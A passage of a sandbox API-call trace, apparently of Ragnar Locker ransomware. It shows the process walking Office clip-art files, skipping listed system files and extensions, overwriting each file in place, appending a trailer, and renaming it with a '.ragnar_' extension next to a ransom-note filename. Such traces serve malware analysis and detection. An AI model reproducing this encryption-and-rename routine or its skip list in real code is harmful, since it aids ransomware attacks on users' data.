lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0091.609] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.609] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00910_.WMF" | out: lpString1="SO00910_.WMF") returned="SO00910_.WMF" [0091.609] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF") returned=".WMF" [0091.609] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="autorun.inf") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="boot.ini") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="bootfont.bin") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="bootsect.bak") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="bootmgr") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="bootmgr.efi") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="desktop.ini") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="iconcache.db") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="ntldr") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="ntuser.dat") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="ntuser.ini") returned 1 [0091.610] lstrcmpiW (lpString1="SO00910_.WMF", lpString2="thumbs.db") returned -1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.610] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf")) returned 0x20 [0091.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.611] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6296) returned 1 [0091.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x188f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.611] GetProcessHeap () returned 0x580000 [0091.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.611] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.612] VirtualAlloc (lpAddress=0x0, dwSize=0x1898, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.612] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.612] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.613] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1898, lpOverlapped=0x0) returned 1 [0091.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.613] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1898, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.614] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1898, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1898, lpOverlapped=0x0) returned 1 [0091.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.614] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.614] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.614] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.614] GetProcessHeap () returned 0x580000 [0091.614] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.614] CloseHandle (hObject=0xf4) returned 1 [0091.614] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" [0091.614] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.ragnar_FD7BD9FC" [0091.614] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0091.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.615] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00911_.WMF" | out: lpString1="SO00911_.WMF") returned="SO00911_.WMF" [0091.615] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF") returned=".WMF" [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="autorun.inf") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="boot.ini") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="bootfont.bin") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="bootsect.bak") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="bootmgr") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="bootmgr.efi") returned 1 [0091.615] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="desktop.ini") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="iconcache.db") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="ntldr") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="ntuser.dat") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="ntuser.ini") returned 1 [0091.616] lstrcmpiW (lpString1="SO00911_.WMF", lpString2="thumbs.db") returned -1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.616] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf")) returned 0x20 [0091.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.616] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10744) returned 1 [0091.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.617] GetProcessHeap () returned 0x580000 [0091.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.617] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.618] VirtualAlloc (lpAddress=0x0, dwSize=0x29f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.618] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x29f8, lpOverlapped=0x0) returned 1 [0091.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.619] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.619] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x29f8, lpOverlapped=0x0) returned 1 [0091.619] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.620] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.620] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.620] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.620] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.620] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.620] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.620] GetProcessHeap () returned 0x580000 [0091.620] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.620] CloseHandle (hObject=0xf4) returned 1 [0091.620] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" [0091.620] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.ragnar_FD7BD9FC" [0091.620] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0091.621] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.621] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00913_.WMF" | out: lpString1="SO00913_.WMF") returned="SO00913_.WMF" [0091.621] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF") returned=".WMF" [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="autorun.inf") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="boot.ini") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="bootfont.bin") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="bootsect.bak") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="bootmgr") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="bootmgr.efi") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="desktop.ini") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="iconcache.db") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="ntldr") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="ntuser.dat") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="ntuser.ini") returned 1 [0091.621] lstrcmpiW (lpString1="SO00913_.WMF", lpString2="thumbs.db") returned -1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.622] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf")) returned 0x20 [0091.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.623] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10420) returned 1 [0091.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.623] GetProcessHeap () returned 0x580000 [0091.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.623] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.624] VirtualAlloc (lpAddress=0x0, dwSize=0x28b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.624] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x28b4, lpOverlapped=0x0) returned 1 [0091.625] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.625] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.625] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x28b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x28b4, lpOverlapped=0x0) returned 1 [0091.626] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.626] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.626] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.626] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.626] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.626] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.626] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.626] GetProcessHeap () returned 0x580000 [0091.626] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.626] CloseHandle (hObject=0xf4) returned 1 [0091.626] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" [0091.626] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.ragnar_FD7BD9FC" [0091.626] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.628] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0091.629] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.629] lstrcpyW (in: lpString1=0x1eb62e, 